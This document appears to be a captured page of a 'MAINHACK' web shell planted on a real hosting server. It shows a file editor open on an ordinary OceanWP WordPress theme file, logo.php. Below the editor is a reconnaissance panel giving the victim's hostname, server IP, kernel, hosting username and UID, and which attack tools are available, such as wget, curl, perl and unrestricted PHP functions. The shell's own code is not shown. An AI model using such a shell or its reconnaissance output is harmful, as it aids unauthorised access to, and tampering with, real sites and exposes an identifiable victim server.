[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: logo.php
<?php /** * Header Logo * * @package OceanWP WordPress theme */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } // Vars. $retina_logo = oceanwp_header_retina_logo_setting(); $full_screen_logo = get_theme_mod( 'ocean_full_screen_header_logo' ); $responsive_logo = get_theme_mod( 'ocean_responsive_logo' ); $header_text_color = null; if ( display_header_text() && ! OCEAN_EXTRA_ACTIVE && ! class_exists( 'Ocean_Extra_Theme_Panel' ) ) { $header_text_color = ' style=color:#' . get_header_textcolor() . ';'; } // New accessibility toggle framework checklist $a11y_mode_enabled = oceanwp_is_semantic_desktop_header_enabled(); $tagline_tag = $a11y_mode_enabled ? 'p' : 'h2'; ?> <?php do_action( 'ocean_before_logo' ); ?> <div id="site-logo" class="<?php echo esc_attr( oceanwp_header_logo_classes() ); ?>"<?php oceanwp_schema_markup( 'logo' ); ?> > <?php do_action( 'ocean_before_logo_inner' ); ?> <div id="site-logo-inner" class="clr"> <?php // Custom site-wide image logo. if ( function_exists( 'the_custom_logo' ) && has_custom_logo() ) { do_action( 'ocean_before_logo_img' ); // Add srcset attr. if ( $retina_logo ) { add_filter( 'wp_get_attachment_image_attributes', 'oceanwp_header_retina_logo', 10, 3 ); } // Default logo. the_custom_logo(); // Remove filter to only add the srcset attr to the logo. if ( $retina_logo ) { remove_filter( 'wp_get_attachment_image_attributes', 'oceanwp_header_retina_logo', 10 ); } // Full screen logo. if ( $full_screen_logo ) { oceanwp_custom_full_screen_logo(); } // Responsive logo. if ( $responsive_logo ) { oceanwp_custom_responsive_logo(); } do_action( 'ocean_after_logo_img' ); } else { if ( display_header_text() === true ) { ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home" class="site-title site-logo-text" <?php echo esc_attr( $header_text_color ); ?>><?php echo esc_html( get_bloginfo( 'name' ) ); ?></a> <?php do_action( 'ocean_after_site_title' ); } } ?> </div><!-- #site-logo-inner --> <?php do_action( 'ocean_after_logo_inner' ); ?> <?php // Site description. if ( display_header_text() === true ) { if ( 'top' === oceanwp_header_style() && '' !== get_bloginfo( 'description' ) ) { ?> <div id="site-description"> <<?php echo $tagline_tag; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> <?php echo esc_attr( $header_text_color ); ?>> <?php echo esc_html( get_bloginfo( 'description' ) ); ?> </<?php echo $tagline_tag; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> </div> <?php } } ?> </div><!-- #site-logo --> <?php do_action( 'ocean_after_logo' ); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154